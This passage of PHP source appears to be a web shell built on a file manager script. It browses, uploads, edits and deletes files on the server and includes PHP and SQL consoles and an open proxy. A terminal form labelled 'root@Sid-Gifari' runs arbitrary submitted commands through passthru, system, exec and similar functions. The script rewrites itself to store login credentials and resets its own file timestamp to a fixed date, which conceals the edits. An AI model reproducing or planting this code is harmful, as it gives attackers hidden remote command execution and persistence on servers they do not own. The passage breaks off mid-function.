$auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg_ntimes = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_ntimes .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg_ntimes .= __('File updated'); } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_ntimes .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: 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} @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated'); else $msg_ntimes .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg_ntimes .= (__('File updated')); else $msg_ntimes .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_ntimes .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //quanxian gai bian hou xu yao xi tong chongqi $msg_ntimes = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg_ntimes .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_ntimes .= __('Error occurred'); } else { fclose($fp); $msg_ntimes .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg_ntimes)){ ?> <tr> <td colspan="2" class="row2"><?=$msg_ntimes?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php session_start(); // List of command execution functions to check $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl']; // Check if any of the functions are enabled (not disabled by disable_functions) $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = getcwd(); } // Update cwd from POST if valid directory if (isset($_POST['path']) && is_dir($_POST['path'])) { $_SESSION['cwd'] = realpath($_POST['path']); } $cwd = $_SESSION['cwd']; $output = ""; if (isset($_POST['terminal'])) { $cmdInput = trim($_POST['terminal-text']); if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd; } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } } else { if ($canExecute) { chdir($cwd); $cmd = $cmdInput . " 2>&1"; if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { // Using proc_open as fallback $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($cmd, $descriptorspec, $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } else { $output = "Failed to execute command via proc_open."; } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } else { $output = "Failed to execute command via popen."; } } else { $output = "Error: No command execution functions available."; } } else { $output = "Command execution functions are disabled on this server. Terminal is unavailable."; } } } if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']); if (!isset($path)) $path = $cwd; ?> <strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br> <pre><?php echo htmlspecialchars($output); ?></pre> <form method="post" action="<?php echo $url_inc; ?>"> <input type="text" name="terminal-text" size="30" placeholder="Cmd"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" /> <input type="submit" name="terminal" value="Execute"> </form> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 